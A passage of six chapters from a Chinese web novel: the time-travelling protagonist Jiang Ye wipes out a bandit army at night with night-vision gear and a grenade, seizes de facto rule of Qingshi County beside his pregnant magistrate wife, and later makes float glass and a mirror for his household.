江夜走到沈砚秋身边,轻轻握住她的手,“你在城里安心养胎,等我回来。”
沈砚秋看着他,眼中的担忧慢慢化作柔情。
她知道劝不住这个男人。
而且,她也相信,只要说能回来,就一定能回来。
她替江夜整理了一下衣领,轻声道,“万事小心。”
江夜哈哈一笑,在她鼻尖上刮了一下:“遵命,夫人。”
第243章 单兵夜视仪
夜色如墨,荒野上一片死寂,只有风吹过枯草发出的呜咽声。
青石县北门悄无声息地开了一条缝。
江夜一身漆黑的特战服,整个人仿佛融进了夜色里。
身后,二十名夜枭队员同样一身黑衣,脸上涂着黑炭,只露出一双双精亮的眼睛。
“东家,这黑灯瞎火的,咱们真要去敌营?”王囤虽然信服江夜,但这乌漆嘛黑的野地里,走路都费劲,更别说去袭营了。
江夜嘴角勾起一抹弧度,从身后的背包里掏出一堆形状怪异的铁架子。
这是出城之前,他从**库里取出来的单兵夜视仪。
虽然是老式的微光夜视仪,但在这个冷兵器时代,这就是外挂。
“把这个戴上,扣在头盔上,扳下来挡住眼睛。”江夜示范了一下,随后按下了侧面的开关。
轻微的电流声响起。
王囤依言照做,刚把那单目镜片拉到眼前,整个人就一哆嗦,差点叫出声来。
“我的亲娘咧!”
王囤死死捂住自己的嘴,眼珠子瞪得溜圆。
原本漆黑一片的世界,此刻在他眼里变成了一片淡绿色。
近处的草丛,甚至十几米外的树木,都看得清清楚楚。
“东……东家,这是啥法宝?咋全是绿的?我是不是开天眼了?”
周围的队员戴上后,也是一片倒吸凉气的声音。
他们互相看着,那种对黑暗的本能恐惧瞬间烟消云散。
“别废话。”江夜调整了一下头带
“检查装备,出发。”
“是!”
这一次,二十人的回答整齐划一,声音里透着一股难以抑制的兴奋和杀意。
拥有了这种夜视能力,这就是一场单方面的**。
……
十里外,一线天。
雷老虎的大军并未急着穿过峡谷,而是在谷口扎营休整。
四千人马,营盘绵延数里。
虽然人多势众,但整个营地却弥漫着一股诡异的低气压。
“听说了吗?那青石县有妖法,咱们先锋营一千兄弟,连个全尸都没留下。”
“嘘!小声点!大当家正在气头上,刚才已经砍了三个乱嚼舌根的了。”
外围的哨塔上,两个匪兵裹着破棉袄,缩在角落里瑟瑟发抖。
“这晚上降温,冻死个人。”一个匪兵手里提着一盏昏暗的风灯,往营地外照了照。
灯光只能照亮身前三尺,再远就是无尽的黑暗。
“你说,那姓江的会不会晚上来偷袭?”
“偷袭个屁!这么黑的天,路都看不见,怎么偷袭?除非他们长了猫眼。”另一个匪兵嗤笑一声,从怀里掏出一块干硬的面饼啃了一口。
**的是,就在距离哨塔不到五十米的草丛里,几双眼睛正死死盯着他们。
江夜趴在草丛里,透过夜视仪,那两个哨兵的一举一动都如同在显微镜下一般清晰。
他抬起手,做了个切喉的手势。
两名夜枭队员如同猎豹般窜出。
他们踩在草地上没有发出半点声响。
那两个哨兵还在抱怨着天气和伙食,完全没有察觉到死神已经站在了身后。
一名夜枭队员猛地暴起,左手捂住哨兵的口鼻,右手三菱军瞬间从后脖颈刺入。
“噗。”
一声轻微的闷响。
那哨兵连哼都没哼一声,身子一软,便被拖进了黑暗中。
几乎是同一时间,另一个哨兵也被同样的手法解决。
整个过程行云流水,没有惊动任何人。
“继续。”
江夜站起身,挥了挥手。
二十名夜枭队员,悄无声息地越过哨卡,渗入营地。
那些躲在暗哨里的弓箭手,自以为藏得隐蔽,殊不知在绿色的视野里,他们无比显眼。
一路推进,所过之处,只有偶尔响起的利刃入肉声。
不到一刻钟,江夜等人已经摸到了营账深处。
雷老虎的中军大帐格外显眼,四周插满了火把,将这一片照得如同白昼。
还没靠近,就听到里面传来一
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阵阵暴怒的咆哮声,伴随着摔砸东西的脆响。
“废物!都是废物!”
“区区一个青石县,就把你们吓破了胆?啊?!”
大帐内。
雷老虎手里提着还在滴血的鬼头刀,脚边躺着两具无头尸体。
那是两个刚才试图劝他退兵的小头目。
帐内其余人跪在地上,大气都不敢出,浑身抖得像筛糠。
“老子什么大风大浪没见过?会怕小小一个青石县?”雷老虎一脚踹翻面前的桌案,酒肉撒了一地,“明天一早,全军压上!谁敢后退半步,老子灭他满门!”
大帐外,阴影处。
江夜听着里面传来的怒吼,眼神瞬间变得冰冷刺骨。
“东家,要直接冲进去吗?”王囤握着手里的**,眼神兴奋。
“不用。”
江夜从腰间摸出一枚圆滚滚的铁疙瘩。
这是他特制的高爆**,装药量是普通**的三倍,里面还掺杂了大量的钢珠和铁片。
在这个距离,这个密闭的空间,就是大罗金仙也得跪。
江夜冷冷地看着那顶透着火光的大帐,手指勾住拉环。
“叮。”
清脆的金属撞击声在夜色中微不可闻。
紧跟着,江夜手腕一抖。
那枚黑色的铁疙瘩划出一道完美的抛物线,从帐帘上方,精准地落了进去。
“骨碌碌……”
**滚落在雷老虎脚边,撞在他的虎皮靴子上停了下来。
雷老虎低头,看着那个冒着青烟的铁球,愣了一下。
这是啥?
他甚至还伸出手,想去拿起来看看。
就在他的手指即将触碰到冰冷的弹体时。
“轰——!!!”
一团橘红色的火球在大帐内部爆发,恐怖的冲击波夹杂着无数铁片,将整顶大帐瞬间撕成了碎片。
处于**中心的雷老虎,连同那几个小头目,连惨叫都没来得及发出,就瞬间被撕碎。
残肢断臂如同下雨般噼里啪啦地落在四周。
第244章 **偿命,欠债还钱
轰鸣声过后,世界仿佛被按下了静音键。
原本喧嚣的中军大帐此刻只剩下一个冒着黑烟的大坑,空气中弥漫着焦臭味和刺鼻的**味。
几块烧焦的破布飘飘荡荡落下。
四周巡逻或在修整的匪兵们保持着原本的姿势,此刻全都张大了嘴,大脑一片空白。
“大当家的营帐……没了?”
人群中,不知何人发出一惊恐的尖叫。
这一声,让处在懵逼中的匪兵们瞬间回过神。
“跑啊!快跑!”
“有敌袭!”
原本就军纪涣散的土匪瞬间炸了营,四千多人像没头的苍蝇一样乱撞。
混乱中,几个原本还想维持秩序的小头目刚拔出刀,想砍几个逃兵立威。
“都给老子站住!谁敢跑……”
“噗。”
一声轻微的闷响。
那头目眉心多了一个血洞,声音戛然而止,直挺挺地倒了下去。
黑暗中,带着绿色单兵夜视仪的夜枭队员如同来自地狱的幽灵。
在他们的视野里,那些试图组织反抗的头目,就像黑夜里的萤火虫一样显眼。
“三点钟方向,那个骑马的,干掉。”
“收到。”
又是一声闷响,刚翻身上马准备收拢残部的二当家,连人带马栽倒在地。
接下来,只要是谁敢高声喊话,谁敢挥舞兵器,下一秒必然脑袋开花。
短短半盏茶的功夫,营地里仅剩的十几名中层头目全部毙命。
失去了指挥系统,四千人的大营彻底炸了锅。
有人丢掉兵器往山里钻,还有人为了抢夺马匹逃命,对自己人挥刀相向。
惨叫声、马嘶声混成一片。
“差不多了。”
江夜站在一处高坡上,看着下面乱成一锅粥的营地,对着身后的王囤挥了挥手。
王囤立刻明白,上前一步,用尽全身力气,大吼道。
“所有人听着!”
王囤的声音在峡谷中回荡,“降者不杀!跪地抱头!否则格杀勿论!”
“降者不杀!”
“降者不杀!”
二十名夜枭队员齐声怒吼,竟喊出了千军万马的气势。
那些本就吓破了胆的匪兵们,听到这雷霆般的声音,最后一丝心理防线彻底崩溃。
“我投降!别杀我!”
“神仙饶命啊!”
“我不跑了,我不想死!”
第一个人扔下了兵器,跪在地上。
紧接着是第二个,第三个……
大片的匪兵跪倒在地,疯狂磕头。
江夜跳下岩石,靴子踩在焦土上,发出咯吱咯吱的声响。
他径直走到那群俘虏面前。
“王囤。”
“东家!”王囤一身煞气地走上前。
“把所有人分开,十人一组。”江夜的声音清晰地传遍全场,“让他们互相检举。谁手里沾过百姓的血,谁**过妇女,谁杀过老人孩子,指认出来的,赏白面馒头两个,免死。”
此话一出,跪在地上的匪兵们一阵骚动。
人性在这一刻被剥离得淋漓尽致。
为了活命,为了那两个白面馒头,昔日的兄弟瞬间变成了仇人。
“他!他上个月在赵家庄杀了一家四口!连吃奶的娃都没放过!”
“胡说!你也干了!你在李家集抢了那个新娘子!”
“大人!我知道谁是雷老虎的亲信,我检举!”
场面一度混乱,但在夜枭队员黑洞洞的枪口和明晃晃的刺刀下,很快又恢复了秩序。
经过一番残酷的甄别,大约有两百多人被单独拎了出来。
这两百人,一个个面相凶恶,眼神闪烁,显然都是惯犯,手里的人命官司数都数不清。
“大人饶命啊!我们也是被逼的!”
“我以后不敢了,我给您当牛做马!”
江夜看着这群人,眼神没有丝毫波动,就像是在看一具具
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尸体。
“当牛做马?你们也配。”
他转过身,挥了挥手,“全杀了。”
轻描淡写的一句话,决定了两百人的生死。
“是!”
王囤带着一队早已按捺不住杀意的死士冲了上去。
惨叫声此起彼伏,但很快就平息下去。
空气中的血腥味更浓了。
剩下的三千多名俘虏,一个个吓得把头埋在裤裆里,浑身抖得像筛糠,生怕下一个轮到的就是自己。
江夜走到这群幸存者面前。
这些人里,有不少是被裹挟的流民,还有些是刚入伙不久的新兵,手上虽然不干净,但罪不至死。
更重要的是,他们年轻,身强力壮。
“抬起头来。”江夜淡淡道。
众人战战兢兢地抬起头,看着这个掌握他们生死的男人。
“死罪可免,活罪难逃。”
江夜目光扫过众人,充满审视,“从今天起,你们不再是匪,而是我江家的苦力。”
“我给你们饭吃,给你们衣穿。但你们要给**活。”
“青石县要修路,矿山要挖煤,砖窑要烧砖。只要肯干活,就有饭吃。”
听到有饭吃三个字,不少面黄肌瘦的俘虏眼睛瞬间亮了。
在这个乱世,能有一口饱饭吃,那是福分。
“谢大人不杀之恩!”
“愿为大人效死!”
这帮人磕头磕得比刚才还响。
江夜满意地点点头,对王囤吩咐道。
“挑一千个身板最硬朗的,打散编入护院队,让老队员带着,每天按照特种训练的标准给我练。”
“剩下的,全部送去矿山和砖窑,实行军事化管理,谁敢偷懒,那个深坑就是下场。”
“明白!”王囤兴奋地搓着手。
原本护院队人手紧缺,现在一下子多了这么多人,虽然都是些生瓜蛋子,但在东家的手段下,这帮人迟早会被调教得服服帖帖。
第245章 摄政王
一夜之间,青石县变了天。
拥有铁甲军、投石车,号称这一带霸主的铁血盟,连青石县的城墙皮都没摸到,就在一夜之间灰飞烟灭。
这一战,把周边山头的土匪都给吓尿了。
黑风岭,聚义厅。
原本正大碗喝酒的大当家,听到探子回报时,手里的酒碗“啪”地一声掉在地上,摔得粉碎。
“你说什么?全没了?连个全尸都没留下?”
探子跪在地上,浑身抖如筛糠:“大当家,千真万确!小的亲自去了一趟青石县打听的!”
当家的脸色煞白,眼睛里满是恐惧。
他猛地跳起来,一脚踹翻了面前的桌子。
“快!传令下去!拔寨!现在就走!”
“大当家,咱们这是要去哪啊?这寨子经营了十年,不要了?”二当家一脸肉疼。
“要?你要个屁!”大当家把一只金杯塞进怀里,声音都在抖,“雷老虎那是什人物?连他都被那个姓江的活阎王给灭了,咱们这点人够人家塞牙缝吗?”
说到这里,他打了个寒颤,“去南边,越远越好!这青石县方圆百里,以后就是禁地!谁敢来谁死!”
同样的场景,在周边的牛头山、二龙岗接连上演。
昔日嚣张跋扈的土匪们,此刻连积攒多年的坛坛罐罐都顾不上搬,卷起细软连夜跑路。
青石县周边,竟在一夜之间,成了匪患绝迹的“净土”。
……
土匪跑了,但这片土地上的另一群人却坐不住了。
青石县周边有几个“三不管”的地界,因为地处几县交界,官府管不着,土匪横行。
那里的乡绅大户平日里只能靠给土匪交保护费苟延残喘。
如今铁血盟一灭,这帮人精立刻嗅到了风向的转变。
大树底下好乘凉。
既然都要交钱保平安,与其交给那群**不眨眼的土匪,不如交给这位能把土匪杀得片甲不留的“江先生”。
次日午后,县衙门口车水马龙。
十几辆马车排成了长龙,车上装满了绫罗绸缎、真金白银,甚至还有几车上好的粮食。
“哎哟,这不是赵员外吗?您也来了?”
“那是自然,那是自然。这青石县如今可是太平地界,早就想来求沈大人庇护了。”
几个穿绸裹缎的老者在县衙门口互相拱手,脸上堆满了讨好的笑,眼神却时不时往衙门里瞟,透着一股子焦急。
“肃静!”
随着一声威严的低喝,王囤按着刀柄走了出来。
那一身还没散尽的煞气,让这群平日里养尊处优的乡绅瞬间噤若寒蝉。
“进去吧,大人在堂上候着。”
众人连忙整理衣冠,如同觐见天子般,战战兢兢地跨过门槛。
大堂之上,明镜高悬的牌匾熠熠生辉。
沈砚秋一身青色官服,头戴乌纱,端坐在案几之后。
虽然怀有身孕了,但宽大的官服遮住了身形,那张清丽绝伦的脸上此刻满是威严,目光清冷如水。
然而,让所有乡绅心头一震的,并非这位沈大人。
而是在沈砚秋身侧,那把并不合规矩、却堂而皇之摆在那里的太师椅里。
江夜一身便装,手里端着茶盏,正懒洋洋地靠在椅背上。
按理说,公堂之上,除了主官,闲杂人等不得入座。
可这位爷不仅坐了,还坐得比县太爷都舒服。
偏偏那位沈大人,对此视若无睹,甚至眼角眉梢还带着几分纵容。
“草民等,拜见县尊大人!”
众乡绅哪里敢多看,连忙跪地磕头,额头贴在冰冷的地砖上,大气都不敢出。
“起来吧。”
沈砚秋声音清冷,“诸位不在自家纳福,跑到我这青石县衙,带着这么多厚礼,所为何事?”
为首的赵员外颤巍巍地站起身,拱手道:“大人明鉴!如今世道崩坏,盗匪横行。草民所在的柳林镇,虽不属青石县管辖,但距离县城不过三十里。如今铁血盟虽灭,但难保没有其他流寇……”
说到这,赵员外偷眼看了看上面,一咬牙,直接跪了下去。
“草民代表柳林镇三千口百姓,恳请并入青石县!愿献上良田千亩,岁银五千两,只求大人垂怜庇护!”
其他人见状,也纷纷跪倒,哭喊着要纳贡求保护。
“求大人收留!”
“我们也愿并入青石县,唯大人马首是瞻!”
这帮人算盘打得精。
只要并入了青石县,谁敢来撒野?这保护费交得值啊!
沈砚秋看着堂下跪成一片的人,秀眉微蹙。
这不仅仅是收点钱的事,涉及到行政管辖权的变更,还有防务的重新部署。
若是以前,她或许会犹豫,毕竟这不合朝廷规制。
但现在……
沈砚秋下意识地侧过头,目光投向身边的江夜。
这一动作,极其自然,仿佛已经成了习惯。
堂下的乡绅们都是人精,这一眼,瞬间让他们明白了这县衙里真正的乾坤。
江夜放下茶盏,瓷盖磕碰杯沿,发出一声清脆的响声。
这声音不大,却让堂下众人的心跳都漏了一拍。
“想并入青石县?”
江夜目光扫过众人,嘴角勾起一抹似笑非笑的弧度,“也不是不行。”
众人闻言,面露喜色。
“不过,”江夜话锋一转,语气微冷,“既然要并入,那就得守我的规矩。”
“江先生请讲!只要能保平安,什么规矩我们都守!”赵员外连忙表态。
江夜淡淡道。
“所有的私兵、家丁,全部解散,或者编入县里的预备役,由我统一训练调配。”
“所有的田产地契,重新丈量。该交的税,一分不能少。以前那些隐瞒田产、转嫁赋税给穷人的把戏,谁敢再玩
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,我就抄谁的家。”
“江夜顿了顿,眼神如刀,“我不护佑恶人,若是有欺压良善、鱼肉乡里的,别怪我翻脸不认人。”
这三条一出,堂下瞬间一片死寂。
这是要他们的命根子啊!
解散私兵就是拔了牙的老虎,重新丈量土地就是割他们的肉。
赵员外脸色难看,刚想开口讨价还价:“江先生,这田产之事乃是祖宗基业,是不是……”
“不愿意?”
江夜打断了他,重新端起茶盏,吹了吹浮沫,“不愿意就算了。王囤,送客。”
“别别别!”
赵员外吓得浑身一激灵。
开什么玩笑?要是被赶出去,没了青石县的庇护,外面要是真来流寇,分分钟能把他们吃得骨头渣都不剩!
跟身家性命比起来,交点税、少点权算什么?
“愿意!草民愿意!”赵员外把头磕得砰砰响,“一切全凭江先生做主!”
其他人见状,哪里还敢犹豫,纷纷磕头应允。
“全凭江先生做主!”
江夜满意地点点头,转头看向沈砚秋,眼神变得柔和了几分:“大人,我看这事儿就这么定了吧?回头让书吏去交接一下。”
沈砚秋嘴角微扬,眼中闪过一丝笑意,配合地拿起惊堂木一拍。
“准。”
一个字,尘埃落定。
等到这群乡绅千恩万谢地退出去,堂上的差役和书吏们看向江夜的眼神,已经是近乎“神明”般的崇拜。
他们心里跟明镜似的。
这青石县,沈大人是那个高高在上的面子,是朝廷的法度。
而这位江先生,才是那根定海神针般的存在,是真正掌握生杀予夺大权的摄政王。
江夜虽无官职,却一言九鼎。
“累了吗?”
等人走光了,江夜站起身,走到案几旁,毫无顾忌地握住沈砚秋的手。
沈砚秋脸颊微红,却没抽回手:“这是公堂,你也不收敛点。”
“怕什么,这公堂都是咱家的。”
江夜嘿嘿一笑,伸手轻轻摸了摸她显怀的小腹,“刚才坐那么久,腰酸不酸?要不要为夫给你揉揉?”
沈砚秋心头一暖,原本那股强撑出来的官威瞬间化作了绕指柔。
她轻轻靠在椅背上,轻声道:“刚才那三条规矩,会不会太狠了点?那些乡绅虽然怕你,但心里恐怕会有怨气。”
江夜不屑地嗤笑一声,“在这乱世,能活着就是最大的恩赐。他们要是聪明,就该知道这买卖做得多划算。”
“而且……”
江夜俯下身,凑到她耳边,热气喷洒在她敏感的耳垂上,“我要从这青石县开始,为你,也为咱们的孩子,打下一个谁也动不了的江山。”
沈砚秋身子一颤,抬头看着他那双深邃如星空的眼睛。
她轻轻应了一声,反手握紧了他的手,“都听你的。”
第246章 截留税银
书房内,烛火摇曳。
沈砚秋看着案几上那厚厚一摞账簿,揉了揉眉心。
这是今年秋收的赋税,按照朝廷律例,折合白银三万两,粮食五千石。
沈砚秋手里握着朱笔,笔尖悬在账册上方,迟迟没有落下。
江夜靠在太师椅上,神情慵懒,“怎么了?”
沈砚秋叹了口气,放下朱笔,揉了揉眉心:“这毕竟是朝廷的税银。若是截留,便是谋反。如今虽然世道乱,但这层窗户纸若是捅破了……”
江夜眼皮都没抬一下,“这年头,兵荒马乱的,路途遥远,万一路上遇到土匪劫道,丢了怎么办?”
沈砚秋一愣,随即明白了他的意思,苦笑道:“你是说……哭穷?”
“这不叫哭穷,这叫不可抗力。”江夜坐直身子,手指在桌面上轻轻敲击,“现在的朝廷,政令不出京师,连京郊的流民都管不过来,还有闲心管咱们这穷乡僻壤?”
他随手拿起那本账簿,扔回桌上。
“写封折子,就说青石县遭遇百年难遇的匪患,虽然勉强击退,但县衙亏空巨大,无力上缴赋税。”
沈砚秋犹豫了一会,眼神渐渐变得坚定。
“你说得对。这钱交上去,也是进了贪官的腰包,不如留在青石县,给百姓修桥铺路。”
“这就对了。”江夜打了个响指,“从今天起,青石县的钱,只有进,没有出。”
沈砚秋不再犹豫,朱笔一挥,在账册上重重画了个叉。
“**。”
门外,**推门而入,躬身抱拳:“大人。”
“传令下去,今年秋税,因遭匪患,颗粒无收,无力上缴。请朝廷……宽限。”
沈砚秋声音平稳,再无半点波澜。
**愣了一下,随即抬头看了一眼江夜,见后者微微颔首,立刻明白了其中的关节。
“是!属下这就去办!”
……
随着赋税的截留,原本紧巴巴的财政瞬间宽裕起来。
江夜的大手笔规划开始全面铺开。
城外的荒地被开垦成了整齐的军屯,新式的高产作物绿油油一片,长势喜人。
生活在青石县的老百姓各个都能吃饱饭,在这个乱世里过得安逸富足。
消息在短短一个月的时间传遍四面八方。
每天都有拖家带口的流民涌入,只要肯干活,就有饭吃,有房住,甚至还能领到工钱。
短短数月,青石县的人口翻了一番,商业更是呈现出一种畸形的繁荣。
城外战火纷飞,饿殍遍野;城内灯火通明,酒肆喧嚣。
青石县,俨然已成了一方诸侯。
……
又是几个月过去。
沈砚秋站在铜镜前,手里拿着那根平日里用来束腰的玉带,试了几次,却怎么也扣不上。
原本合身的官服,此刻穿在身上显得有些紧绷,尤其是腹部,即便穿着宽大的外袍,也能看出明显的隆起。
已经八个月了。
“别吸气了,再吸要把咱们儿子挤坏了。”
江夜推门进来,手里端着一碗热气腾腾的燕窝粥,看着沈砚秋那副跟腰带较劲的模样,忍不住好笑。
沈砚秋有些颓然地放下玉带,看着镜子里臃肿的身材,平日里清冷的脸上浮现出一抹从未有过的小女儿态。
“都怪你。”她瞪了江夜一眼,“我现在连公堂都坐不了,稍微坐久一点,腰就酸得直不起来。昨天升堂,那几个乡绅盯着我的肚子看,眼神怪怪的。”
江夜把粥放在桌上,走过去从身后环住她的腰,双手轻轻托住她沉甸甸的小腹。
“怪我怪我,都是为夫太勤奋。”
沈砚秋脸颊一红,反手在他手背上掐了一下:“没个正经。”
“说正经的。”江夜收起嬉皮笑脸,下巴抵在她的肩窝处,“别在县衙待着了。这里人多眼杂,虽然咱们控制了局面,但你这肚子越来越大,瞒不住了。”
“你是说……”
“回稻花村。”江夜语气坚定,“那里才是咱们的家
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,也是最安全的地方。”
沈砚秋有些迟疑:“可是县里的事务……”
如今青石县虽然上了轨道,但每天依然有处理不完的公务。
流民安置、军队训练、工坊生产,哪一样都离不开人。
“天塌不下来。”江夜转过身,扶着她坐下,端起燕窝粥吹了吹,递到她嘴边,“这世上离了谁都照样转。再说了,你男人我还活着呢。”
沈砚秋张嘴喝了一口粥,甜丝丝的,一直暖到胃里。
她看着江夜那双自信笃定的眼睛,心里的焦虑奇迹般地平复下来。
“好,听你的。”沈砚秋抚摸着肚子,眼神变得温柔,“我也想让孩子在个安稳的地方出生。”
……
次日清晨,天刚蒙蒙亮。
县衙门口,两辆宽大的马车整装待发。
王囤和**恭敬地站在车前。
江夜一身便装,神色淡然地看着面前这两个左膀右臂。
“王囤。”
“在!”王囤挺胸抬头,如今的他,一身精良的铠甲,浑身上下透着肃杀之气,早已不是当初那个憨厚的农家汉子。
“城防这两天交给你照看。”
“东家放心!”王囤吼声如雷。
江夜点点头,目光转向**。
“县衙的日常政务,你盯着,遇到拿不准的主意,派快马回村报我。”
**抱拳,沉声道:“江先生放心,卑职明白,这青石县乱不了。”
“嗯。”江夜应了一句,转身上了马车。
车厢内,沈砚秋靠在软枕上,看着窗外**的景色,眼神中透着一丝不舍。
江夜揽过她的肩膀,让她靠在自己怀里,笑道:“怎么?舍不得你那顶乌纱帽?”
“胡说。”沈砚秋在他胸口捶了一下,嘴角却微微上扬,“我只是担心。”
江夜握住她的手,十指相扣,“这世道虽然乱,但在我江夜的地盘上,乱不了。”
看着江夜笃定的眼神,沈砚秋心里终于安定几分。
第247章 销金窟里的神仙日子
经过特殊减震改造的豪华马车驶出县城,在死士的护送下,向稻花村驶去。
车队出了城,一路向北。
两个时辰后。
一座巍峨的堡垒出现在视线尽头。
此时的稻花村,早已不是当初那个破败的小山村。
五米高的混凝土城墙拔地而起,将整个村落和后山连成一片。
城墙上,隐约可见黑洞洞的射击孔和巡逻的探照灯塔。
马车一路到江夜家宅邸门口才停下,江夜推开车门,率先跳了下去,而后才转身小心翼翼地搀扶着沈砚秋下车。
江家大院门口,四女站了一排。
“沈姐姐!”
最先打破沉默的是白梦秋,她扶着腰,脸上挂着那标志性的甜笑。
“可算把你盼来了!这下好了,咱们家凑齐了!”
慕容晴则是上下打量了沈砚秋一眼,笑道:“沈姐姐,你来得正好,这姓江的精力旺盛得很,正愁没人治他呢!”
此话一出,原本有些煽情的氛围瞬间破功。
林间雪羞得满脸通红,躲在后面不敢抬头。
白梦夏也是嗔怪地瞪了慕容晴一眼,但眼底的笑意却是藏不住的。
沈砚秋原本悬着的心,彻底落回了肚子里。
没有勾心斗角,没有排挤冷眼。
这群女人看着她的眼神里,只有真诚的欢迎,甚至……还有一种“终于来了个帮手分担火力”的庆幸?
她忍不住看向一旁摸着鼻子苦笑的江夜,嘴角勾起一抹明艳的弧度。
“多谢各位妹妹抬爱。”
白梦夏走上前,将怀里的孩子递给一旁的婆子,亲**拉住沈砚秋的手,“路上累坏了吧?快进屋,燕窝都炖好了。”
江夜在一旁听得直乐,大手一挥:“行了,都别在门口杵着,一起进屋!”
……
接下来的日子,沈砚秋体会到了什么叫“神仙日子”。
没有堆积如山的公文,没有勾心斗角的官场。
每天睡到自然醒,睁眼就是精致的营养餐。
江家大院就像是一个独立的小王国。
虽然外面兵荒马乱,但这里物资充沛得吓人。
新鲜的牛奶、从未见过的水果、柔软得像云朵一样的棉布……
江夜这个在外人眼里杀伐果断的“活阎王”,在家里却是个十足的“孩奴”。
午后的阳光洒在院子里。
江夜一手抱着老大江平,一手抱着老二江安,嘴里还得发出各种怪声逗他们笑。
“叫爹,叫爹给你做小汽车。”
两个小家伙小手抓着江夜的头发不放。
众女坐在紫藤架下,一边做着针线活,一边看着这一幕,脸上洋溢着母性的光辉。
“相公,你轻点,别把平儿晃吐奶了。”白梦夏笑着嗔怪道。
“放心,我有数。”江夜把孩子递给奶娘,坐在沈砚秋身边的躺椅上,“怎么样?这日子比当县太爷舒坦吧?”
沈砚秋手里拿着一本话本子,嘴角含笑:“是舒坦,舒坦得我都快忘了自己是谁了。只是……”
“只是什么?”
“只是你这人,闲不住。”沈砚秋侧头看着他,“这两天我看你总往后山跑,又在捣鼓什么东西?”
江夜凑到她耳边:“好东西。”
“神神秘秘。”
江夜确实闲不住。
这种老婆孩子热炕头的日子虽然爽,但他骨子里那股**建的瘾又犯了。
他这次盯上的,是玻璃。
在这个时代,
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窗户用的还是粗糙的窗户纸,或是昂贵的云母片,采光极差。
如果能造出透明的玻璃,不仅能极大地改善生活品质,更是敛财的一大利器。
……
后山。
这里现在已经成为整个稻花村的禁地,除了江夜和几个核心死士,谁也不准靠近。
巨大的高炉正轰隆隆地运转着,热**人。
江夜调取出早就准备好的高纯度石英砂、工业纯碱和石灰石。
江夜熟练地操作着控制器。
石英砂、纯碱、石灰石按照严格的比例混合,送入高达一千五百多度的高炉中。
在这个温度下,坚硬的石头化作了赤红的岩浆。
“火候差不多了。”
江夜戴上特制的护目镜,操控着机械臂,将那炽热的玻璃液缓缓引出。
金红色的玻璃液,像一条火龙,顺着预设的导流槽,平稳地流淌到一个巨大的、盛满了液态金属锡的锡槽之中。
锡槽浮法工艺。
这是领先这个时代上千年的玻璃制造技术。
依靠重力和表面张力,炽热的玻璃液在密度更高的液态锡表面自然摊开,形成厚度均匀、表面无比平整光滑的玻璃带。
玻璃带缓缓向前移动,经过退火区,温度逐渐降低。
最终,在工坊的另一头,一整块宽两米、长达十米,晶莹剔透、毫无瑕疵的巨大透明板材,缓缓地出现在江夜面前。
江夜走上前,伸手轻轻敲了敲已经冷却的玻璃板,发出一阵清脆悦耳的声响。
他看着玻璃板中映出的自己清晰的倒影,以及透过玻璃看到的、没有丝毫扭曲的工坊景象,满意地笑了起来。
有了这东西,他能玩出的花样可就太多了。
第248章 仙家宝鉴
江夜随手把玻璃放在铺了软布的操作台上。
透明的玻璃虽然稀罕,但在他眼里,还不够震撼。
要玩,就玩个大的。
他从旁边的柜子里取出一个密封的陶罐,又拿出一叠锡箔。
在这个时代,铜镜是主流。
最好的铜镜,磨得锃亮,也就只能照个大概轮廓,颜色还是昏黄的。
江夜将锡箔平铺在玻璃面上,动作轻柔而精准。
接着,他打开陶罐,倒出银白色的液态水银,水银在锡箔上滚动,像是有生命的小精灵。
利用锡汞齐的原理,水银会溶解锡,形成一层反光极强的合金附着在玻璃背面。
待到反应稳定,再刷上一层特制的防锈漆保护。
这一套流程,江夜做得行云流水。
半个时辰后。
漆层干透。
江夜深吸一口气,双手扣住玻璃边缘翻转过来。
镜子里,一张年轻俊朗的脸庞清晰地显现出来。
剑眉星目,鼻梁高挺,甚至连下巴上刚冒出来的青色胡茬都看得一清二楚。
成了,江夜眼中闪过一丝喜色。
他将镜子快速包裹起来,往家里赶去。
……
后院,紫藤花架下。
几个女人正围坐在一起,手里做着针线活。
“哎,这肚子越来越大,以前的衣裳都穿不下了。”沈砚秋抚摸着隆起的小腹,“刚才照镜子,感觉脸上都长斑了。”
“沈姐姐哪里的话,你这皮肤比我都嫩。”白梦秋说道,“倒是慕容姐姐,最近是不是又胖了?我看你那腰带都快崩开了。”
慕容晴正在擦拭她的那把弯刀,闻言柳眉倒竖:“我这是丰满!”
林间雪坐在一旁,抿嘴偷笑,手里正给孩子绣着虎头鞋。
“都在呢?”
江夜背着手走了进来,脸上挂着神秘兮兮的笑容。
“相公!”
白梦秋眼睛一亮,“你手里拿的什么呀?包得这么严实,是不是好吃的?”
“吃吃吃,就知道吃。”江夜走过去,在她鼻子上刮了一下,“比吃的还好的宝贝。”
“切,神神秘秘的。”慕容晴收起弯刀,撇了撇嘴,“难不成还能是天上的星星?”
江夜走到石桌旁,将包着丝绸的物件放下。
众女的好奇心都被勾了起来,纷纷围拢过来。
就连一向淡定的沈砚秋,也忍不住探过头。
“看好了,别眨眼。”
江夜猛地掀开丝绸。
阳光下,一面约莫脸盆大小的方形物体静静地躺在石桌上。
那一瞬间,仿佛有一束光,直接刺进了众人的眼睛。
“呀!”
最先发出尖叫的是白梦秋。
她指着镜子,小手捂着嘴,眼睛瞪得溜圆:“这……这是铜镜!”
“好清晰!”
慕容晴不敢置信地凑近,她能清楚地看到自己瞳孔的颜色,看到鬓角那一丝乱发,甚至看到嘴角那颗细小的黑痣。
“天呐……”
白梦夏手里的小衣服掉在地上都浑然不觉。
她颤抖着手,想要去摸镜面,又怕碰坏了这神物,指尖悬在半空,微微发抖。
“这世上……竟有如此清晰的镜子?”沈砚秋到底是见过大世面的,虽然震惊,但很快就反应过来。
她拿起镜子,看着镜中的自己。
没有昏黄的铜锈色,没有模糊的重影。
那张脸,清丽绝伦,皮肤依旧白皙细腻,她甚至能看到眼角细微的血丝。
“这就是我现在的样子吗?”沈砚秋喃喃自语,指尖轻轻划过脸颊,“原来……我长这样。”
在这个时代,大多数人一辈子都不知道自己究竟长什么样。
铜镜模糊,水面荡漾。
而此刻,她们第一次真正意义上“看见”了自己。
林间雪躲在最后面,偷偷瞄了一眼。
“相公……这……这是仙法吗?”
江夜看着震惊的样子,心里那叫一个爽。
他坐在石凳上,“怎么样?喜欢吗?”
“喜欢!太喜欢了!”白梦秋直接扑了过来,抱着江夜的胳膊摇晃,“相公,这个给我好不好?我要天天照!”
“我也要!”慕容晴拿过镜子,对着左看右看,越看越满意。
江夜微微一笑。
女人啊,不管在哪个时代,对美的追求都是刻在骨子里的。
沈砚秋转头看向江夜,眼中闪烁着精光。
“这东西,造价几何?”
不愧是当过县令的,一眼就看到了本质。
江夜伸出一根手指:“不到一两银子。”
